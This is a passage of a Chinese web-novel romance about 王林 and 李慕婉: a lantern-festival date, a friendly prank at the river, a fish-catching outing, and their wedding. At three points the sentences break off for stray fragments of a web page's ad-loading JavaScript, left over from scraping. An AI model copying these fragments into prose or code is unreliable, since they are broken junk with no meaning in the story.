“日前李掌柜送来的清心丹不错,来买话本的书客见着我用。便要了一瓶回去,服用过后颇有提神养心之效,鄙人知晓这丹药是婉儿姑娘所炼制,每日来往铺子的书客络绎不绝,若婉儿姑娘能够炼制更多丹药,我书铺全定了,都放在柜台里,卖出的利给婉儿姑娘分成,您看如何?” 李慕婉眸子转动,笑意盈盈道,“掌柜的想与我谈生意啊?” 掌柜的讪笑道,“正是,您觉得如何?” 他知道李慕婉与王林关系密切,王林对外已经不避讳彼此身份,也无遮掩的必要,只当着掌柜的面承认,那是他的未婚妻。 把丹药放到书屋,前来的书客便是她丹药的行走招牌,以话本生意带动丹药买卖,还能为哥哥药铺扬名,一举两得。 况且话本里的人物,也涉及炼丹,那些书客为追求话本的实质,还会买丹药支持,倒是个好主意。 “成啊,不过这详细得要提前谈定,我有我的要求,并非你买我的丹药,是我的丹药放在你柜台展卖,卖出去多少,我给掌柜分三成利润,如何?”李慕婉很是痛快,除去丹药药材成本,炼制所需花费时间和精力,她要的七成不算多。 原本也算是互惠互利了,掌柜也并非贪心之人,自然是乐意的。 加之王林把一手稿子只交由书铺拓印,眼下多少人想要请这本《逆仙》执笔人授权,王林得知也都无动于衷,这已让掌柜感激不尽。 “听婉儿姑娘的。”掌柜乐呵应下。 李慕婉回了铺子就拟了契帖,双方签字画押后,李慕婉着手炼丹,李奇庆负责给她提供药材。 王林几日见不着她人,直到重阳当晚,清平镇被灯会的人流淹没,街道上挂满了灯笼,烛火驱散了夜晚的黑,光亮笼罩一片。 孩童提着灯笼无忧无虑在街道疯跑,屋外的喧闹扰着书房里落笔的王林,他这才恍然天色已经暗了。 屋内的烛火摇曳,他收了稿子,规整案台,正了正额间抹额和发带,窗外灯火透过窗户纸,洒了些许光亮。 王林起身出了书铺,对面药铺门开着,李慕婉早早在房里点妆,又换了件月白水色拼接的广袖流仙裙,鱼尾状的裙摆纱幔随风鼓动,挽起的发髻插着那支王林寻回来修好的莲花钗。 李奇庆倚在她窗台外,难得见她如此费心装扮,不免调侃着,“婉儿今日怎得这般有兴致,如此精心装扮?” 那是一副看破不说破的神情,李慕婉看着铜镜的自己,石黛描眉,朱唇点绛,这才得空理他,“哥,好看吗?” 李奇庆打量着,离京之后再没见她如此费心装扮,今日的装束,倒像在京城时的装扮,这么一瞧,“我李家有女初长成,婉儿随了娘亲,模样生得漂亮,如何都好看。” “哥今夜怎得这般好说话?”李慕婉歪头睨着他。 “柜台上给你留了银子,出去的时候记得带上。”李奇庆背过身,注视着夜空。 “好。”李慕婉应着,又觉不对,她还没说要出去呢,他是如何知晓的。 李奇庆出了后院,回到正堂柜台整理着账务,木门敲响,王林朝里头作揖:“奇庆兄。” “坐吧。”李奇庆摆手,让王林自便。 王林也没端着,轻车熟路落坐,“婉儿呢?” “在房里点妆呢,”李奇庆手里拨动算珠,“早早的试了几套衣裳都不满意。” “她穿什么都好看。”王林脸不红心不跳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,抿了一口茶言语直接,李奇庆倒觉他甚是坦率。 “你若是早些来与她说这话,她这会儿已经好了,也不至于在里边忙活这么久。”李奇庆无奈是,“以前我这个哥哥说什么她都听,而今她只听一半。” “哥,你又说我什么呢?”李慕婉挑帘而出,目光落在王林身上,“阿兄,你何时来的。” “有一会了。”王林目光停留在她身上,今夜的她眉目如画,周身散着一股脱离凡尘的绝色,许久那目光都未移开。 李慕婉只怕是自己装扮过头了,叫他笑话,低头藏起半张脸,“是不是不好看?” “好看。” 柜台的李奇庆轻咳了两声,敲了敲旁边的木桌,头也没再抬,“早些去,早些回。” “知道了。” 李慕婉跑过去拿了木桌上的钱袋子,拉着王林出去。 二人并排走着,李慕婉步子轻盈欢快,一路上话语不断,王林沉稳,注视着她一举一动,一颦一笑。 街上的长灯照着身影,她仰着头观望,对面嬉闹的孩童险些撞上她,王林眼疾手快,拉过她手腕侧身躲开。李慕婉贴在胸膛前,下巴抵着他锁骨处,听得见他的心跳。 灯笼搭建的棚顶把重阳秋日的夜风挡下,抬眼入目皆是灯火。 暖光下王林的轮廓连同眼神都变得柔和。 “当心些。” 李慕婉仰头,对上他俯下的视线,目光交汇中,像是磁场在吸引着,彼此呼吸近得能感受到对方的气息。 李慕婉只觉身前的人起伏跌宕,她脑子一热,漾出一抹笑意,踮起脚尖,朝那温热的唇瓣贴近,蜻蜓点水的触碰,让王林陷入弥漫的夜色里。 这吻很轻,只是轻轻碰了一下,却不像那晚离京前的吻那样伤情。他还未反应过来,李慕婉就移开了,将他甩在后头。待他缓神后,嘴角上扬着,迎着风,如沐浴春光的明媚。 眸底的倩影被灯火笼罩,李慕婉走出些距离,故意放慢了步伐,似等他跟上来。 王林一直注视着她周身,生怕她又被人撞上了,掌心微握似下了决心,步子也快了。 宽袖下的掌透出,朝那广袖里寻找什么,李慕婉细长的手指被握住。 她先是一顿,见她没动,王林似得了允许,进而又收紧了些,只是耳尖红透了,两人各自望向一侧,彼此什么都没说,却又像都说了。 街边摊贩很多,孩童人手一串的糖葫芦,李慕婉嘴巴泛起酸意,朝王林道,“阿兄,婉儿也想吃糖葫芦。” 王林牵着她手走到贩子前,“要两串。” 李慕婉接过一串,另一串王林也不吃,就给她拿着。她咬下一颗,鼓鼓囊囊的塞满腮帮子,甜腻充斥味蕾,双肩不自觉耸了耸,像是在回应王林这个糖葫芦好吃。 嘴角蹭了糖霜,王林眸子带柔,指腹擦过她嘴角挂的糖,“慢些吃。” 李慕婉边吃边赏着景致,待咽下后才说:“西街小河道会有人放河灯,阿兄,我们也去放吧,好不好?” 王林买了一只莲花灯给她,她一手抓着糖葫芦,一手提灯。 “婉儿怎么知道那有人放河灯?” “去岁的乞巧节,花影带我去的,我见过,满河的莲花灯,从上游漫到下游,就好似天上繁星点缀的银河。”李慕婉洋溢着笑意。 “那你可有放?”王林专注她的情绪。 李慕婉稍有惋惜之色,“没有,花影说乞巧节去放的都是有情人,河边卖河灯的摊贩不卖给我们。” “那重阳呢?”王林看着她。 李慕婉不知他为何这么问,他们还不算有情人吗?即便乞巧节也不用担心摊贩不会再卖给她了。 “阿兄……”李慕婉手里的糖葫芦吃光了,王林又递过一串,她接过后本想自己吃,又试探道,“阿兄也吃。” 王林不爱吃,又不想拂她好意,犹豫须臾,咬了一个。 李慕婉这才心满意足。 37.深吻 往西街小河去的街道,整个上空都挂满了灯笼,她踩着步子,广袖流仙裙的鱼尾裙摆仿若莲花一般,步步绽放。 糖葫芦串又回到王林手中,李慕婉提着莲花灯端详着灯面的花纹,见她咽下后,王林再把糖葫芦给她喂过去。 二人走得慢,到了河边已有不少人聚集,河里淌了密密麻麻的河灯。 李慕婉拉着王林穿梭在人群里,她走在前头,边回头与他诉说,“相传放河灯意寓着团圆、平安,以往乞巧节、中元节、还有中秋都会有,每次都是花影陪婉儿来。今年也有阿兄陪我,这就是团圆。” 柔和的光线钉在她眉梢上,王林倾听着她每一句话,始终泛着轻笑,“那往后的年年岁岁,我都陪着婉儿来放河灯,可好?” “嗯。”李慕婉重重点头,王林朝人群簇拥的摊贩里买了两个河灯。 李慕婉抬头注视他,“阿兄,怎得买了两个?” 二人寻了一块河岸空地蹲身而下,王林悠悠道,“河灯寓意婉儿只道了一半,还有一半。” “祭祀逝者,”王林抚过她发丝,“以明灯寄思念,慰故人亡灵安息,愿婉儿的爹娘,能见你如今安好,我王林在此向二老立誓,此生不负婉儿。” 他的用心,李慕婉深感情动,轻靠过他肩头。紧握的双手沉入水面,拨起涟漪,将那寄予已逝亡灵和承载明日幸福的河灯放离。 是夜,人流有所稀退,二人沿着河岸漫步,人声越离越远。 晚风微凉卷入她宽袖,李慕婉不禁后缩,靠近王林寻着温热。 两人牵手贴着走,却没有多余的动作,受着她手心传来的温度,王林浮想着灯棚下的那个蜻蜓点水的吻,再有他离乡前,李慕婉酒醉之后的吻,不断牵引着他心底一股冲动。 黑暗里,柳叶林立的河道,把二人的身影藏起,李慕婉只觉手被握得越发紧,不由轻轻唤了一声,“阿兄?” 王林顿足,挡下李慕婉的步子,身量压着她,李慕婉视线只能看见他高挑的身躯,玉树临风,暗夜里的目光逐渐炽热,热流驱散了她身上的寒意。 两人视线久久相汇,仿若要把彼此眸底的情意吞噬,王林眼中透着欲望,视线下移到李慕婉的红唇。她窥然不动,意会到王林眼中的情愫,杏眼微沉。 王林倾身俯下,李慕婉缓闭上眼,他视线笼着精致的五官,气息近在咫尺。 那是生涩的悸动,却被一阵唐突之音打破。 “铁柱哥?婉儿?”王浩立在河岸不远处,手里提着灯笼,还往前照了照。 身前的李慕婉被王林挡得严实,只露出些裙角,王林呼吸一滞,连着身躯僵硬半空。 李慕婉身前的气息逐渐远离,睁了眼。面颊带着红晕,定定望着王林,王林镇定自若侧了身,迎道:“王浩?” 王浩打量着二人,就算王林再从容,可二人的生涩与气氛显然不对,即便王林侧了身,与李慕婉同样贴得近,他意味深长乐道:“你们在此处赏河灯吗?” “嗯,”王林漫不经心轻咳,“赏灯。” 李慕婉面颊越发滚烫,恨不得找个地方藏起来。 “那我先走了,花影他们还在醉风馆等我。”王浩讪讪笑道,提着灯笼就走。 王林暗自松口气,再转过身,李慕婉头埋得低,王林心底情愫散不开,他想,想要感受她的味道和柔软。 “婉儿?” 李慕婉抬眸再次对上他视线,王林再次主动俯身靠近,李慕婉没闭眼,挺立的鼻梁近乎贴过来,触着她。 “王林?婉儿?”王卓从身后嘹亮喊着人,王林又是停滞,心泛无奈,李慕婉微仰起的头颅再次坠下。 “王卓?何事。”王林声音森然。 “你们可看见王浩了?”王卓状若不知,问得很是坦然。 “那边。”王林朝前指了指。 王卓拱手走了。 李慕婉双手藏在广袖里,不知所措。这会总该不会再有人来了,有了前两次李慕婉的允许,王林胆子也大了些,双手拉过李慕婉手臂,往自己身前贴近。 河岸远处的喧闹忽远忽近,却在他再一次贴近时,把心底积攒已久的情愫化开,双唇即将贴上时。 “王林。” “铁柱哥。”王浩和王卓二人折回,齐齐喊道,“走啊,一块喝酒去。” 也不等王林回应,他二人便走远了。 王林闭上眼努力平息着一股怨念,久滞的欲望被多次扰散。李慕婉见他突变的神色,着实替那二人有些担忧。 “阿兄。”李慕婉声音清甜,王林轻抚她发丝,温声道:“婉儿,等我。” “阿兄去哪?” “很快回来。” 王林转身唇角勾笑,朝那二人消失的方向去。 王卓王浩推推嚷嚷,似乎在得意适才的手笔。 “王卓,你说铁柱哥跟婉儿做什么呢?”王浩把灯笼举他脸上。 “那你得问你铁柱哥,”王卓似笑非笑,“花前月下会有时,不如浊酒一杯醉春风。” “你怎么跟铁柱哥一样,文邹邹的,”王浩鄙夷道,“我说先前铁柱哥为何从京城辞官回来了,原是因着婉儿要成婚,特意回来抢亲的。” “我娘说得对,”王浩忆着往日,“这二人登对,我跟铁柱哥比,那委实差远了。” “怎么?”王卓揶揄他,“王林那闷葫芦,也就婉儿这性子温和的能处得来。” 两人搭着肩说得越发欢快,王林却从身后赶上,喊道:“王浩,王卓。” 二人纷纷回头,见王林信步走来,裹着难以言喻的寒意。 “铁柱哥。” “你二人有事?”王林握了握手腕,压迫顿感而来。 王卓保持镇定率先道:“寻你喝酒啊,自你去书铺写话本,我们兄弟三人多久没一块喝酒了,难得今日出来了,走?” “是啊铁柱哥,叫上婉儿,花影也在呢。” “喝酒么,”王林嘴角一直噙着笑,懒洋洋靠在河岸柳树上,“我请吧。” 他手里掂着钱袋子,把王浩叫过来。王浩听话,拉着王卓一起上前,王卓只觉不单纯,眯着眸子心有警惕。 王林把手里的钱袋丢给王浩,王浩接过欲上前搂他。 谁料王林抬脚绊住了人,王浩倾身不稳,摇摇欲坠就往河里栽,下去时还不忘拽了把王卓,惊慌中他手里钱袋一抛,王林轻而易举接住,又落回手里。 王卓颤颤巍巍还在试图找回平衡,王林从身后助了一把,手肘推了道力,唇角噙着坏笑:“给我下去。” 河面“扑通”一声溅起水花,王浩王卓湿了全身,朝岸上的王林怨念道:“铁柱哥,你做什么绊我?” 王林见势心满意足笑了笑,“你二人热心,让你们到河里凉快凉快,散散身上热气。” “这是请酒钱,”他把钱袋子放到枝叉上,“谢过你们的盛情。” 河里的人无能拍了几下水面,狼狈透了。 “我就说不行吧,都怪你,”王浩怨念道,“铁柱哥记仇,非得把我玩死。” “那还不是你非要去的。”王卓也满是懊悔,河水凉,这会他是清醒了,适才王林那笑就不怀好意,原是在这等着呢。 李慕婉立在河岸耐心等了片刻,眼前的身影慢慢走近,她迎上去,“阿兄回来了。” “婉儿,走吧。”王林牵过她手,方才的情动已被二人打断,若再往那方面想,倒是觉着刻意了。 “阿兄,我们去哪?” “天灯在子时一刻点亮,我带去个地方,能看得更清楚。”王林引着路。 李慕婉紧跟着,“阿兄,方才婉儿好像听见什么东西落水里了。” “嗯,”王林若无其事道,“两块无关紧要的木头,得浸浸水。”李慕婉只觉他似有所指,见他不在意自己也没多想。 河道边,王浩拉着王卓爬上岸,身上衣裳挂着水流,发冠都乱了。 “王林,这个天杀的,小煞星。”王卓愤愤道,知道不惹他没事,若是惹着了,自己没好果子吃,小时候便吃过他的亏,可王卓又没法子,只能嘴里图个痛快。 *** 清平镇外的一处塔楼,李慕婉坐于塔楼顶端,俯瞰时,整个清平镇的屋舍尽收眼底,永陵港的码头停了许多商船,船头点了灯火,灯火阑珊笼罩千家万户。 王林手心撑膝缓缓挨着她坐下,见她衣裳单薄,把自己身上外袍给她披上。 “清平镇最高的楼,”王林长腿随意放着,“在这,看得更清楚。” “阿兄,你以前来过?”李慕婉靠着他肩头,抱着手臂。 王林身子微倾向她,“来过。”他在这看过日落,也在这躺着看过书。 不多时,远处零星的天灯缓缓而起,李慕婉指着方向,“阿兄,快看。” “再等一会,还有更多。”王林视线落在她脸侧,李慕婉眼尾弯起,很是灵动。 暗色的夜空没过多时便被密密麻麻的天灯占据,三千明灯照亮整个清平镇,灯火缓缓升空。风一吹,朝着风向而来,近在眼前的天灯从二人头顶划过,李慕婉伸出想要触 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 碰,王林给她抓回来。 “这天灯燃过就灭了,小心伤着。” 李慕婉仰头看他,侧脸轮廓清晰,身上的提神香绕过,受着他的气息和温度,朝他贴近。王林收回视线,回望着她。 码头两岸的长道随即有烟火四散而上,与那明灯交映。 王林俯首注视着那方轮廓,动情说:“婉儿,这烟火好看吗?” “好看。”女子柔婉轻灵,仙姿玉质,秀若清莲,天灯映照下,显得格外诱人。 原本压下的悸动在这时又牵起,此处再无人打扰,他可尽情倾诉,心底的情愫也倾泄而出。 王林长臂绕过她肩头,弯曲时就把人带进怀里。李慕婉顺势靠在臂弯,不等她反应,王林唇瓣覆上,两道试探已久的身躯紧紧贴合。 他的力量显得霸道,亲吻的动作并不熟练,他的索取却又很温柔。李慕婉享受着这种柔情与占有,就连风动也止了。 整个人被笼罩在那健硕的身躯之下,远处夜空中的星火有坠落之势,不知不觉,唇上的力量越发霸道,由浅尝辄止再而侵略。她身量纤细,仰着的脖颈受不住力,手臂往后撑。 王林另一只撑着的手环过她后腰,肩头的手臂慢慢上移脑后,把李慕婉整个身躯放平,自己覆身而上,齿间融合,她只觉软/舌探入,搅动着,讨要着,交融缠绕,就好似自己是春日的花朵,任凭采撷。 只是那力量颇重,压得人窒息,李慕婉在情动里,手抵在他左胸不得已推开人,大口吸气,言辞含糊道:“阿兄。” 王林近乎被情欲占据,只以为那是情深的呼唤,他再次覆唇交缠着,腰腹上的手掌用了力。 李慕婉被压得几欲呼吸不住,再次推开了他。 “阿兄……” “婉儿?”王林不情愿止住,目光情/色潋滟,散不尽。 “阿兄,你压着婉儿喘不过气了。”李慕婉偏头没敢看他,胸膛起伏不定,柔软时不时触着他。 适才是自己情难自抑,王林忍着充涨与不安,只能难受压下。他方才险些要失了分寸,又怕吓着她,可是有七情六欲乃是人之常情,况且他这个年纪,正是气盛之时。 若非尝试过,又怎会恋恋不忘。 那两个没由来的吻,一直吊着他,他隐忍多时,可算在这一刻尝到了甜/色,竟然有些意犹未尽。 李慕婉感受到他透出的占有与情愫,红潮来了。 王林就这么府视她,指尖拂过她面容,动情说:“婉儿,我们早些成婚吧。” 李慕婉红唇吮得红肿,抿了抿点头应他:“婉儿听阿兄的。” “等金秋王家村稻子收了,让爹娘去提亲。”王林前膛轻压着她,再无进一步动作,就这么端详许久,心里想的是等成婚了,日日都能见着。 天灯断断续续在夜空消散,已过子时,王林送了李慕婉回到药铺,自己才回的书铺。 门轻推开,李奇庆坐在柜台,独自酌酒,屋内只留了盏灯,并不算亮,这个时辰,李慕婉以为哥哥已然睡下了。她怕吵醒人,蹑手蹑脚关上门再上锁。她摸着心口顺心,身后却一道森然声音而来:“回来了?” “哥。”李慕婉吓一跳,猛然蹦起身。 “你怎得无声无息的,要吓死婉儿了。” 李奇庆起身掷了酒壶,多点了盏油灯,上下打量她,“什么时辰了?” “这不是刚过子时?”李慕婉眼神飘忽不定。越发这样,李奇庆越想审视她。 “这都到后半夜了,你还想天亮再回,可是?” 面对哥哥的逼问,李慕婉有些虚,可她没做什么,顶多,顶多也就跟阿兄…… “李慕婉?”李奇庆阻断她的杂绪,“回话。” “哥,天灯子时一刻才点,看完便回了,你这是做什么?”李慕婉声音大起来,故作镇定,“况且阿兄在呢,自会护好我。” 他担心的不就是她的阿兄么?夜不归宿,李奇庆没说,把她慌张的举动一一收入眼底,故意指着她说:“你口脂怎么了?” “口脂?”李慕婉倏然心虚,下意识擦了擦,见李奇庆抱臂等着自己如实招来的做派,她才恍然,哥哥是故意的。 “阿兄亲的,怎么了。”李慕婉提着步子不睬他,往后院去了,“不就是想问这个,做什么嘛审犯人似的。” 李奇庆一口气没提上来,她往日最是听话懂事,少会顶嘴,而今这种话也能堂而皇之道出口,终归是长大了。李慕婉越是如此,李奇庆心底对王林不满就好似阴湿里潜滋暗长的青苔,怎么都除不尽。 38.大婚 深秋已至,王家村的稻子熟了,王林写的《逆仙》第一卷完结。与书铺掌柜的约定到期,前两日王家人到镇上提亲,二人婚期定在一月后,金秋过后,农田里的稻子收完,便快了。 只是提亲之日,李奇庆也没让他好过,愣是让王林喝了几大坛酒。 他生平第一次失了酒量,面对李奇庆有意为难,他也诚心受着,那一夜他过得并不好受,吐了不知多少回,可缓过劲来后总觉得受的一切都是值得的。 不过几坛酒罢了,即便刀山火海,为了她,也无悔! 谢三婶家的稻花鱼长得肥,趁着稻子收前要把鱼捞起来,李家兄妹收了花影的邀,二人从镇子赶来。 李慕婉身着一身素白麻衣,水蓝色的腰封坠了几根流苏,宽袖卷了一半,露出半截白臂。发髻也都梳起来了,干净利落,瞧着是有备而来。 王浩和花影已经下了水田,李慕婉有过经验,便不怕泥泞,第一次下田时,脚陷入泥泞里她也不适应,花影牵着走了一会儿便好了。 李奇庆见她轻车熟路,不像第一回,想来她在王家村时没少经历世事。 稻穗长得饱满,接近人腿一半高,她整个人俯身去摸鱼时,稻苗遮住了整个身躯,只瞧见稻田里的浪潮滚动,良久她两手碰着一条鱼,颤颤巍巍的举过头顶,李奇庆面目难色,而后又欣然一笑。 “哥,你看,婉儿抓到鱼了,你也下来嘛。”李慕婉把鱼放到木桶里,说着就要拉李奇庆下田,他穿的周正,一副端方谦谦君子模样,与王家村村民倒有些不和谐。 见他岿然不动,李慕婉索性叫了人帮忙,“花影,我哥不敢下田,你带带他?” “不,不必。”李奇庆要退,可是田埂就这么点地儿,他后退时已经踩入泥地了。 手无足措的他很是无奈,花影笑了笑,“婉儿他哥,你这都沾了泥,就别拘着了,婉儿第一次下田也同你这般扭捏,现在你瞧,抓鱼比王浩都准。” 王浩在隔壁田里听得不乐意,“花影,你说什么呢?我王浩可是王家村摸鱼第一人,我称第二,谁敢称第一?” “那行啊,今日比一比,谁摸的鱼少,谁来杀鱼可好?”花影来劲了。 “那我也要参加。”李慕婉不甘落后,接连摸到两条鱼的她信心倍增。 李奇庆已经脱了靴,长褂脱下,挽起裤脚。田里的水凉快,泥土湿滑,倒也没想象中的难受,适应后居然还觉得有些喜欢这种感觉。 王林来得晚,比赛进行到一半,他才来到田间,扫视一圈也没见着李慕婉人。 直起腰的花影手里抓着鱼朝他打招呼:“铁柱哥?铁柱哥来了。” 李慕婉听见他来了,想起来着,可那鱼就在眼前,她也舍不得丢弃,只好等了须臾,抓上后兴致盎然的举起,对着田埂上的王林,晃了晃手中的战利品,鼻尖和脸蛋都蹭了泥。 “阿兄,你瞧,这是婉儿抓的鱼。” 王林晒着日光,眯眼时满是温柔,“嗯,当心些,别被稻叶割伤了。” “无防,”李慕婉露出手臂缠着的绷带,“花影给我备的,不会伤着。” 忽然稻叶下被遮蔽的李奇庆直起身,动静之大,左右手各一条,鱼尾甩着水花,连同泥一块蹦到李慕婉眸子中。 她下意识闪避却还是进了些,王林还未在李奇庆下地抓鱼的惊诧里反应,见着李慕婉捂着眼睛在揉,便满心焦急的下地,鞋子都来不及脱。 “婉儿,怎么了?”他拉开李慕婉揉眼的手,长指撑过她眼皮,眼眶里沾了泥,被她蹭了些,还剩不多。 “阿兄,婉儿眼睛疼。”李慕婉眼睛睁不开,只能双手扶着他肩头稳住重心。 “阿兄看见了,别动。”王林小心翼翼吹着气,从远处看过来,二人动作亲密,像是小两口抱着亲。 “阿兄,好了吗?”李慕婉想睁眼。 李奇庆看着两人如此旁若无人,不顾礼节,忍不住重咳两声:“咳咳。” 无人应答,他又若无其事装作忙碌,无意间经过二人身侧,“咳咳,咳咳咳……” “奇庆兄这是受了风寒吗?”王林把最后一点泥吹出来,再给她脸上的泥抹干净,面不改色说,“怎得咳得这般重?” “你……”李奇庆堵着口气。 “风寒就别下地了,免得再受寒。”王林一本正经道,可看着李慕婉时却是笑着的。 “你你你,”李奇庆深呼吸,有些气急败坏,“你二人虽定亲了,可该有的分寸和礼数不能丢。” “哥哥说什么呢?”李慕婉眨了眨眼,终于能睁开了,“若非你适才甩过来,我能眼睛进东西吗,你倒是乐呵抓你的鱼,只有阿兄关心我,知道给我吹眼睛。” “你你你,你个小没良心的。”李奇庆气急了,“若非哥哥帮你,待会你若比输,可别哭了。” “阿兄不是来了吗?婉儿不会输,对吗,阿兄。”李慕婉笑意盈盈望着他。 王林抚了抚她头顶,“是,若输了要罚什么?” “杀鱼。”李慕婉道,“阿兄可会?” 他从前没干过,干脆道:“不会,若为了婉儿,我可以学。” 他学什么都快,杀鱼不是难事,“输了也没关系,阿兄替你受罚,玩尽兴才是要事。” “那有阿兄和哥哥帮婉儿抓鱼,我定不会输了花影和王浩他们。” “好。”王林替她挽好衣袖,又把碎发捋到耳后。 霎时间稻田里的鱼儿四处游荡躲藏,王林离李慕婉不远,每见她抓到一条都要雀跃一次,难得见她如此欢快,从前京城人人称道的第一才女,也会在这王家村自由自在享受田野趣事。 眼前的画面让他不由心头一暖,辞官远离京城,回到王家村,守护父母,守护心爱之人,他自认这是做得最好的决定。 夕暮前,王家村村口环绕的群山渡上一层金黄,稻田里摸鱼的人回到院舍,谢三婶家的小院满满当当坐了人。 井水边,王林捧了把水净脸,又冲了靴子上的泥,李慕婉守在一旁,递过去帕子。 “阿兄,擦一擦。” 王林没接,只握着她手腕,沿着轮廓蹭了一圈,“好了。” 李慕婉被他举动挑得含羞,微低头躲着视线。 她身上的衣裳沾了泥,脸上倒是擦得干净。他越看心里越是喜欢。 花影冲了热茶喊众人过来喝,见他二人腻歪着,摇了摇头怨怼道,“婉儿,铁柱哥,你们俩能不能收着些啊。” “去吧,喝口热茶暖暖。”王林摸了摸她头。 李慕婉把帕子塞给他,先行过去了,花影手肘顶着她,揶揄道:“不到一月就是婚期了,怎么这么难舍难分的?” 李慕婉抿唇露出的都是幸福的笑意。 “自铁柱哥抢了婚后啊,这脸上笑容可比以往多多了,我说得可对?”王浩也跟着调侃。 王林绷带拧干水,手里提着,见他们调笑自个,也没说什么,只是勾着似有若无的笑意,径直往李慕婉身侧寻了矮凳落座。 见他不搭茬,几人再逗趣只觉自找无趣,李奇庆数着木桶里的鱼,可算数完了。 花影问道:“谁赢了?” “小妹输了。”李奇庆盯着李慕婉,“这鱼得你来杀,那可如何是好?” “我的鱼最少?”李慕婉狐疑,三人都比不上他二人,未免有些古怪。 “婉儿,你该不会是要耍赖吧?”花影眯着眼打量她,李慕婉难为情,她属实不会杀鱼,不过王林答应了,若是输了会替她受罚。 “愿赌服输,这鱼我来杀。”他主动揽过活,说着就挽起衣袖。三个木桶拎起来李慕婉那个是最重的,没有第一也不能是最后一位,李奇庆主动要数数,想必自有用意。 这是故意要为难他的,李慕婉见状跟随过去,“阿兄,我来帮你。” “你在一旁看着就行,这刀锋利,你不要碰。”王林从木桶抓了条鱼,小刀破肚,也不需要怎么学,杀人不眨眼的他,杀条鱼自是不在话下。 “我们三个人怎会没比过花影他们呢。”李慕婉掌心捧着小脸蹲在一侧,又帮他盛了一瓢水。 王林风轻云淡说:“婉儿,你看看我们的木桶是否比他们的还要满。” “所以婉儿才心有疑虑啊,可是数数的人是哥哥,哥哥最是公正无私,就算要藏私心,也该帮着我才对。” “自是帮着婉儿的,”王林注视她一会儿,“可就不一定帮我了,婉儿可明白我的意思?” 李慕婉目光闪烁,思虑明白了,“哥哥故意的,知道阿兄会帮我,他是为难阿兄……” “并非为难,”王林朝竹筛里又仍进一条杀好的鱼,了然说,“是考验。” “考验阿兄什么?” “长兄为父,他是为婉儿好,考验什么都没有错。”王林道。 “阿兄心胸宽阔,”李慕婉这才摸清兄长之意,“那婉儿陪着你。” 摸回来的鱼多,吃不了那么多,王林只杀了一部分,剩下的谢三婶让他们分了,每人领了几条带回去。 夜幕沉下,日落而息,田间农作的人陆陆续续归家,花家小院充满欢声笑语,久荡在屋檐之上。 一张大圆木桌坐得挤,一顿全鱼宴。 李奇庆坐在两人中间,没让二人挨着坐,正与王浩等人饮酒的王林忽而听得左侧碗筷掉落的声音,似是烫到了。 王林闻声递出去的杯盏顿住,紧张朝李慕婉的方向一看,刚上桌的红烧鱼上面盖了一层热油,花影放到嘴里不小心烫着了,李慕婉给她递了帕子。 王林见着她无事,这才收回酒杯饮下一口,目光却一直落在专心夹菜的李慕婉身上。 李奇庆察觉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身侧的目光过于放肆,又是轻咳了几句。王林意会,挪开了视线,夹了一道离得较远她又够不到的菜,那是她爱吃的。 “吃了这一顿,下一次人齐就得是铁柱哥和婉儿的婚宴了吧?”王浩举着酒杯,“来,大伙碰一个。” 众人酒杯举到饭桌上空,交错碰撞,酒水洒落。喜庆的唢呐声随着酒盏碰撞,萦绕王家竹林小院,院里红绸满挂,院墙的海棠花系满红绸带,连着院内的白梅也没放过,竹林小院一直到外墙摆了十几张木桌,高朋满座。 大红灯笼从院门到正堂悬挂两侧,东西厢的木窗贴双喜,整个小院笼罩着火红烛光之下。 竹林清香浸染在空气中,爆竹从村口一路响彻到竹林小院,近乎整条王家村的人都到齐了。 李慕婉头戴凤冠,肩披霞帔,莲花为绣,栩栩如生的凤凰盘旋莲花之上,眉画远山,朱唇点绛。 一颦一笑牵涉心魂,王林一身红袍,俊朗清秀的五官容光焕发,少年身姿挺立,傲视群雄,宽肩撑起新袍,难见的矜贵清冷之气,目光柔和,甚是般配。 宾客挤在正堂外,王天水与周英素坐于高堂,李奇庆肃立群首,望着这一幕,满是欣慰。 王林同李慕婉拉着牵红,吉时已到,傧相喊道:“一拜天地。” 两人朝着正堂屋外躬身。 “二拜高堂。” 李慕婉嫁衣繁重,是镇子上最好的裁缝师傅裁制的,样式由李慕婉自己提供图纸,连到王林身上的婚服样式也是她画的。 微动起步子时,婚服摆动轻盈,似莲花仙子下凡。 二人朝高堂而坐的二老拜礼,周英素热泪盈眶,喜极而泣,王天水握着她手以示安慰。 “夫妻对拜。”傧相高亢声起,院外唢呐再次席卷,观礼的宾客起着哄。 王林满目柔色,李慕婉眼波流转,两年多前,她被王林带回王家村,只为寻个安身立命的落脚处,经与王家人日渐相处,暗生情愫。 一路走来并不算平稳,可总算尘埃落定。 李慕婉眼眶含着湿润,忆起往日在王家一幕幕,王林赶赴京城,一向淡漠的他也会允诺自己等他回来,在兄妹二人陷入绝境时,为她灭杀孙家满门,辞官离京,请旨赐婚。 目光交汇中两人缓缓躬身对拜,他终是把那一年来,夜夜忙碌在书案前,替他掌灯添茶的人娶回家,是自己欢喜之人,亦是父母欢喜之人。 火红的嫁衣衬得新人肌肤赛雪,烛光摇曳中,落在新人面颊上,泛起红晕,宾客纷纷朝新人贺喜。 众人喟叹,口中夸赞不断。 礼成后,新人敬过喜酒,送回宾客,已是亥时。 王家小院留下喜庆的余音,西厢房内的红烛满照。 李慕婉卸下涌重的凤冠钗环,王林端了木盆,红帕巾沾湿温水,拧干后递给李慕婉。二人忙碌整日,婚仪是入夜后行的礼。 喧闹过后,她仍觉是一场大梦致幻。 “可是累了?”王林接过她的帕巾,瞧着铜镜里的人。 “是有些累,可是婉儿开心。”李慕婉转过身,很自然贴在他怀中,看着他略显疲惫的神情。 “阿兄,哥哥可是为难你了?” “不妨事,总归婉儿是要嫁的,怎么为难的无妨。”王林将人搂在臂弯里,温热贴着她面颊,两人都喝了酒,加上烛光映得更是绯红。 李奇庆可是给他摆了好几道关,王林心里念着屋内的人,明明有急色却不能露。耗到夜深了,若非疼爱小妹,李奇庆可不愿意就此罢手。 “婉儿,我等这日,等了好久。”王林的热气扑在她脖颈上,李慕婉微颤,虽已成亲,再亲密也不为过,可她未经人事,总会害怕,却又怀着好奇。 “阿兄于婉儿情起何时?”这问题一直在她心里许久,一直没好意思问,眼下成亲了,她才敢问。 